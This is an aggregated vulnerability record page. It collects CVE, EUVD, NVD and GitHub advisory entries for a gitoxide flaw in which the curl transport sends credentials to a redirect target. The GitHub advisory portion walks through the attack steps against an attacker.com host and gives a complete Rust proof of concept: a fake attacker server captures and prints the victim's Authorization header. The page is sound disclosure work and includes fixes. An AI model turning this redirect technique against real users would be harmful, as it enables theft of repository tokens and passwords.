Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 274/275 feeds/APIs · 469/469 docs · 8/9 advisories · checked 02:22 UTC Customize Public modeDiscuss ChangeIntel on Discord

gitoxide 0.25.4 HTTP Credential Leak via Redirect

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-82255

Published

gitoxide versions from 0.25.4 contain an HTTP credential leak vulnerability in the curl-based transport backend where credentials are sent to attacker-controlled servers after HTTP redirects. The vulnerability occurs because credential validation checks the original URL instead of the effective URL after redirect, allowing attackers to steal authentication tokens through cross-domain redirects or HTTPS-to-HTTP downgrades.

Source published
28 Aug 2026 10:49:38 UTC
Source modified
30 Sep 2026 17:20:31 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 7.6 CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

CVSS 3.1 · 6.8 CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N

euvd · EUVD-2026-67581

Published

gitoxide versions from 0.25.4 contain an HTTP credential leak vulnerability in the curl-based transport backend where credentials are sent to attacker-controlled servers after HTTP redirects. The vulnerability occurs because credential validation checks the original URL instead of the effective URL after redirect, allowing attackers to steal authentication tokens through cross-domain redirects or HTTPS-to-HTTP downgrades.

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Aug 28, 2026, 10:49:38 AM

dateUpdated: Sep 30, 2026, 5:20:31 PM

Source published
Aug 28, 2026, 10:49:38 AM (timezone not stated)
Source modified
Sep 30, 2026, 5:20:31 PM (timezone not stated)
Observed here
11 Nov 2026 16:10:44 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 7.6 CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

nvd · CVE-2026-82255

Published

gitoxide versions from 0.25.4 contain an HTTP credential leak vulnerability in the curl-based transport backend where credentials are sent to attacker-controlled servers after HTTP redirects. The vulnerability occurs because credential validation checks the original URL instead of the effective URL after redirect, allowing attackers to steal authentication tokens through cross-domain redirects or HTTPS-to-HTTP downgrades.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-522

Original publisher date fields

published: 2026-08-28T12:16:38.317

lastModified: 2026-09-30T18:18:41.323

Source published
28 Aug 2026 12:16:38 UTC
Source modified
30 Sep 2026 18:18:41 UTC
Observed here
25 Oct 2026 16:19:10 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 7.6 CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 6.8 CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N

osv · GHSA-9857-6mw7-fq2m

Published

## Summary The curl-based HTTP transport in `gix-transport` sends user credentials (passwords, tokens) to an attacker-controlled server after an HTTP redirect. When a server responds with a 302 redirect during the initial `GET /info/refs`, gitoxide records the redirected base URL and rewrites all subsequent requests to point at the redirected host. The `Authorization` header is still attached because `add_basic_auth_if_present()` only checks `self.url` (the original, never-updated URL). The reqwest backend is not affected. Its custom redirect policy at `reqwest/remote.rs` lines 60-64 compares `prev_url.host_str()` to `curr_url.host_str()` and calls `attempt.stop()` on cross-domain redirects, so `redirected_base_url` is never set to a different host. ## Details The vulnerability involves two components in `gix-transport`: **1. URL rewriting after redirect** ([gix-transport/src/client/blocking_io/http/curl/remote.rs](https://github.com/GitoxideLabs/gitoxide/blob/main/gix-transport/src/client/blocking_io/http/curl/remote.rs)) After a request completes, the effective URL is compared to the requested URL. If they differ (redirect occurred), the new base URL is stored (lines 355-359). On subsequent requests, `swap_tails()` rewrites the target URL to point at the redirected host (line 166). **2. Credential check uses original URL** ([gix-transport/src/client/blocking_io/http/mod.rs, lines 293-312](https://github.com/GitoxideLabs/gitoxide/blob/main/gix-transport/src/client/blocking_io/http/mod.rs#L293)) `add_basic_auth_if_present()` checks `self.url` (set once during construction, never mutated) to decide whether to attach credentials. Since `self.url` always points to the original host, credentials are approved even when the actual request goes to the redirected (attacker) host. The `Authorization` header is added to the headers list in `handshake()` (line 374) and `request()` (line 434) before being passed to the backend, which applies them to the rewritten URL via `handle.http_headers(headers)` (line 309). ### Attack flow: cross-domain credential leak 1. Victim clones `https://legitimate.com/repo` with credentials configured 2. Server returns 302 redirect on `GET /info/refs` to `https://attacker.com/...` 3. Curl follows the redirect and strips `Authorization` for this GET (safe so far) 4. Attacker serves a valid info/refs response; `redirected_base_url` is set 5. `POST /git-upload-pack` is rewritten via `swap_tails()` to `attacker.com` 6. `add_basic_auth_if_present()` checks `self.url` (still `legitimate.com`), approves credential sending 7. `Authorization: Basic <credentials>` is sent to `attacker.com` Curl's cross-domain header stripping only protects the redirected GET. It does not protect the POST, which is a new request with credentials re-attached by gitoxide. ### Secondary vector: HTTPS-to-HTTP downgrade The cleartext protection at `mod.rs` line 300-305 also checks `self.url`: ```rust if self.url.starts_with("http://") { return Err(client::Error::AuthenticationRefused("...")); } ``` This only validates the original URL's scheme, not the effective URL after redirect. A redirect from `https://legitimate.com` to `http://attacker.com` bypasses this check, causing credentials to be sent in cleartext over HTTP. 1. Victim clones `https://legitimate.com/repo` with credentials 2. Server redirects to `http://attacker.com/...` (note: HTTP, not HTTPS) 3. `add_basic_auth_if_present()` checks `self.url` (still `https://`), allows credentials 4. `Authorization` header is sent over unencrypted HTTP to `attacker.com` ## PoC A complete Rust project that reproduces the issue. It starts two local TCP servers (legitimate on :8080, attacker on :9090) and uses `gix-transport` to demonstrate the credential leak. **To run:** Create the project next to the gitoxide checkout so path dependencies resolve, then `cargo run`. <details> <summary>Cargo.toml</summary> ```toml [package] name = "poc-gitoxide-redirect" version = "0.1.0" edition = "2021" [dependencies] # http-client-insecure-credentials is only needed because the PoC uses http:// # to avoid TLS setup. A real attack would use https:// and not require this feature. gix-transport = { path = "../gitoxide/gix-transport", features = ["http-client-curl", "http-client-insecure-credentials"] } gix-sec = { path = "../gitoxide/gix-sec" } gix-url = { path = "../gitoxide/gix-url" } gix-packetline = { path = "../gitoxide/gix-packetline", features = ["blocking-io"] } ``` </details> <details> <summary>src/main.rs</summary> ```rust use std::io::{BufRead, BufReader, Write}; use std::net::TcpListener; use std::sync::mpsc; use std::thread; use gix_transport::client::{self, blocking_io::http, blocking_io::Transport, TransportWithoutIO}; fn main() { println!("=== gitoxide HTTP credential leak via redirect ===\n"); let (captured_tx, captured_rx) = mpsc::channel::<Vec<String>>(); // Attacker server (port 9090): captures credentials let attacker = TcpListener::bind("127.0.0.1:9090").expect("bind attacker"); let attacker_handle = thread::spawn(move || { let (mut conn1, _) = attacker.accept().expect("accept conn1"); let mut reader1 = BufReader::new(conn1.try_clone().unwrap()); let mut headers1 = Vec::new(); loop { let mut line = String::new(); reader1.read_line(&mut line).unwrap(); if line.trim().is_empty() { break; } headers1.push(line.trim().to_string()); } println!("[attacker] GET /info/refs headers (from redirect):"); for h in &headers1 { println!(" {h}"); } let pkt_service = "001e# service=git-upload-pack\n"; let pkt_flush = "0000"; let fake_hash = "a".repeat(40); let caps = "multi_ack thin-pack side-band side-band-64k ofs-delta shallow no-progress include-tag"; let ref_line = format!("{fake_hash} HEAD\0{caps}\n"); let ref_pkt = format!("{:04x}{ref_line}", ref_line.len() + 4); let body = format!("{pkt_service}{pkt_flush}{ref_pkt}{pkt_flush}"); let response = format!( "HTTP/1.1 200 OK\r\nContent-Type: application/x-git-upload-pack-advertisement\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}", body.len() ); conn1.write_all(response.as_bytes()).unwrap(); conn1.flush().unwrap(); drop(conn1); let (mut conn2, _) = attacker.accept().expect("accept conn2"); let mut reader2 = BufReader::new(conn2.try_clone().unwrap()); let mut headers2 = Vec::new(); let mut content_length: usize = 0; loop { let mut line = String::new(); reader2.read_line(&mut line).unwrap(); if line.trim().is_empty() { break; } let trimmed = line.trim().to_string(); if let Some(cl) = trimmed.strip_prefix("Content-Length: ") { content_length = cl.parse().unwrap_or(0); } headers2.push(trimmed); } if content_length > 0 { let mut body_buf = vec![0u8; content_length]; use std::io::Read; reader2.read_exact(&mut body_buf).ok(); } println!("\n[attacker] POST /git-upload-pack headers:"); for h in &headers2 { let prefix = if h.starts_with("Authorization:") { " >>> LEAKED: " } else { " " }; println!("{prefix}{h}"); } let resp_body = "0000"; let response2 = format!( "HTTP/1.1 200 OK\r\nContent-Type: application/x-git-upload-pack-result\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{resp_body}", resp_body.len() ); conn2.write_all(response2.as_bytes()).unwrap(); conn2.flush().unwrap(); drop(conn2); captured_tx.send(headers2).ok(); }); // Legitimate server (port 8080): redirects to attacker let legit = TcpListener::bind("127.0.0.1:8080").expect("bind legit"); let legit_handle = thread::spawn(move || { let (mut conn, _) = legit.accept().expect("accept legit"); let mut reader = BufReader::new(conn.try_clone().unwrap()); let mut request_line = String::new(); reader.read_line(&mut request_line).unwrap(); println!("[legit] Received: {}", request_line.trim()); loop { let mut line = String::new(); reader.read_line(&mut line).unwrap(); if line.trim().is_empty() { break; } } let redirect_url = "http://127.0.0.1:9090/repo.git/info/refs?service=git-upload-pack"; let response = format!( "HTTP/1.1 302 Found\r\nLocation: {redirect_url}\r\nContent-Length: 0\r\n\r\n" ); conn.write_all(response.as_bytes()).unwrap(); conn.flush().unwrap(); println!("[legit] Sent 302 redirect to attacker server"); }); thread::sleep(std::time::Duration::from_millis(100)); println!("\n[client] Connecting to http://127.0.0.1:8080/repo.git with credentials..."); let url: gix_url::Url = "http://127.0.0.1:8080/repo.git".try_into().expect("parse url"); let mut transport: http::Transport<http::curl::Curl> = http::connect(url, gix_transport::Protocol::V1, false); transport .set_identity(gix_sec::identity::Account { username: "victim-user".into(), password: "super-secret-token".into(), oauth_refresh_token: None, }) .expect("set identity"); println!("[client] Performing handshake (GET /info/refs)..."); match transport.handshake(gix_transport::Service::UploadPack, &[]) { Ok(_) => println!("[client] Handshake succeeded"), Err(e) => println!("[client] Handshake error: {e}"), } println!("[client] Sending request (POST /git-upload-pack)..."); match transport.request(client::WriteMode::Binary, client::MessageKind::Flush, false) { Ok(_writer) => println!("[client] Request sent"), Err(e) => println!("[client] Request error: {e}"), } legit_handle.join().ok(); attacker_handle.join().ok(); println!("\n=== RESULT ==="); if let Ok(headers) = captured_rx.recv_timeout(std::time::Duration::from_secs(2)) { let leaked = headers.iter().any(|h| h.starts_with("Authorization:")); if leaked { let auth = headers.iter().find(|h| h.starts_with("Authorization:")).unwrap(); println!("VULNERABLE: Credentials leaked to attacker server!"); println!("Captured: {auth}"); } else { println!("NOT VULNERABLE: No credentials captured."); } } else { println!("ERROR: Timed out."); } } ``` </details> **Output:** ``` [attacker] GET /info/refs headers (from redirect): GET /repo.git/info/refs?service=git-upload-pack HTTP/1.1 Host: 127.0.0.1:9090 Accept: */* User-Agent: git/oxide-0.55.0 [attacker] POST /git-upload-pack headers: POST /repo.git/git-upload-pack HTTP/1.1 Host: 127.0.0.1:9090 >>> LEAKED: Authorization: Basic dmljdGltLXVzZXI6c3VwZXItc2VjcmV0LXRva2Vu VULNERABLE: Credentials leaked to attacker server! Captured: Authorization: Basic dmljdGltLXVzZXI6c3VwZXItc2VjcmV0LXRva2Vu ``` The GET (from redirect) has no `Authorization` header. The POST carries the full credentials. The base64 decodes to `victim-user:super-secret-token`. ## Impact Any user who clones or fetches over HTTP(S) using gitoxide with the curl backend (`http-client-curl` feature) can have their credentials stolen by an attacker who controls a redirect target (via compromised server, DNS hijacking, or MITM). The only user interaction required is initiating the clone or fetch; the redirect and credential leak happen transparently. CI/CD pipelines using tokens are also at risk. ## Suggested Fix 1. Only attach `Authorization` if the effective URL's host matches the original URL's host. 2. Or block cross-origin redirects in the curl backend, matching reqwest's behavior. 3. Check the effective URL's scheme (not the original) for the HTTPS-to-HTTP downgrade.

Source published
5 May 2026 19:16:35 UTC
Source modified
1 Oct 2026 03:56:08 UTC
Observed here
24 Oct 2026 13:19:54 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N

Publisher rating · MODERATE

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 12 Nov 02:22 UTC · 274 of 275 readable · 272 fully read · documentation 469/469 current